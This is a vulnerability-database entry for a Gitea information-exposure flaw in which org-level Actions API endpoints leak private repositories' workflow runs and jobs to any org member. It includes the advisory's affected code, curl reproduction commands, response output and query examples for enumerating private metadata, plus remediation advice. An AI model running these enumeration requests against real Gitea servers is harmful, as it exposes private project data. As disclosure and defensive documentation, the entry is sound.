Skip to main content

Gitea CVE-2026-57897

| EUVDEUVD-2026-58149 MEDIUM
Information Exposure (CWE-200)
2026-07-21 https://github.com/go-gitea/gitea GHSA-frpw-3h2q-4jj6
6.5
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
Share

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
6.5 MEDIUM

Requires valid org membership token (PR:L) over the network; high confidentiality impact from private repo metadata leak; no integrity or availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative
Red Hat
6.5 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 22, 2026 - 02:56 vuln.today
Analysis Generated
Jul 22, 2026 - 02:56 vuln.today
CVE Published
Jul 21, 2026 - 21:52 github-advisory
MEDIUM 6.5

DescriptionCVE.org

Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization

---

1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org - with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:

  • private repositories the caller has no team membership for,
  • repositories where the caller has been explicitly denied the repo.actions

unit,

  • repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller - proving the org-level surface is the only path that leaks.

---

2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

go
addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

go
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() - bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

go
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

go
opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

go
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter - every row in the org is returned.

The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.

---

3. Steps to Reproduce

3.1 Setup

  • Org 1st-org with one private repo 1st-org-repo.
  • Team Owners contains user admin (org owner).
  • Team 1st-team has zero repositories assigned (units permission

none for actions, no included repos).

  • User admin2 is a regular user (is_admin = false), member of

1st-team only - so org member, but no team grants any access to 1st-org-repo.

Verified that admin2 lacks direct access:

bash
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:

yaml
name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

bash
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

json
{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

bash
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too - turning the endpoint into a search oracle over private workflow metadata:

bash
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.

---

4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:

Field leakedWhy it matters
repository.full_name, description, private, clone URLsExistence + topology of private repos
head_sha, head_branchConfirms commits / branch names exist in private repos
path (workflow file)Reveals workflow YAML filenames
event, display_titleCommit messages / event types
actor, trigger_actorInternal contributor identities incl. noreply emails
created_at, started_atActivity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filtersFull search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance - confirms existence of private projects, names,

activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.

  1. Insider-threat amplification - any contractor / interviewee / OSS

contributor invited to a low-permission team can mine the rest of the org's CI history.

  1. Cross-team violation - when an org isolates internal projects via

teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.

  1. Pivot data - commit SHAs disclosed here unlock subsequent endpoints

that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.

---

AnalysisAI

Cross-repository information disclosure in Gitea's org-level Actions API exposes workflow run and job metadata from private repositories to any authenticated organization member, regardless of per-repository access rights. The endpoints GET /api/v1/orgs/{org}/actions/runs and GET /api/v1/orgs/{org}/actions/jobs bypass per-repo ACL checks entirely, allowing low-privileged org members with no team or repository assignments to enumerate private repo names, commit SHAs, branch names, workflow file paths, contributor identities, CI timing, and commit messages across the entire organization. No CISA KEV listing or separately published exploit tool has been identified, but the detailed advisory with curl reproduction commands substantially lowers the exploitation barrier.

Technical ContextAI

Gitea is a self-hosted Git service written in Go. The affected component is the org-level Actions REST API in routers/api/v1/org/action.go. Route registration for org-level run and job listing uses reqOrgMembership() as the sole authorization gate - checking only bare organization membership, not any per-repository permission. The shared query layer (routers/api/v1/shared/action.go) constructs FindRunOptions with OwnerID set to the org ID and RepoID=0, performing a database join constrained only to repository.owner_id = orgID. No access, team_repo, or collaboration table join is performed, and access_model.GetDoerRepoPermission() is never called. This directly violates the principle of object-level authorization defined by CWE-200 and OWASP API3:2023 Broken Object Property Level Authorization. Per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, etc.) correctly apply ACL checks and return 404 for the same unauthorized caller, confirming the org-level surface is a unique authorization gap. The affected package CPE is pkg:go/code.gitea.io_gitea.

RemediationAI

Upgrade to Gitea v1.27.0, which resolves this flaw per the GitHub release at https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and the security advisory GHSA-frpw-3h2q-4jj6 at https://github.com/go-gitea/gitea/security/advisories/GHSA-frpw-3h2q-4jj6. If immediate upgrade is not feasible, restrict organization membership to only fully trusted users, since bare org membership is sufficient to exploit the endpoint - this is a high-friction workaround that may not be operationally viable for organizations that routinely onboard contractors or OSS contributors. Disabling Gitea Actions globally via the admin panel (admin/config) would eliminate the attack surface entirely but also removes all CI/CD functionality, which is likely unacceptable. Placing a network-layer ACL or reverse-proxy rule to block external access to the path pattern /api/v1/orgs/*/actions/* limits exposure to internal network attackers only, but does not protect against insider threats. There is no known per-endpoint toggle to disable only org-level Actions listing while preserving per-repo Actions functionality.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-57897 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy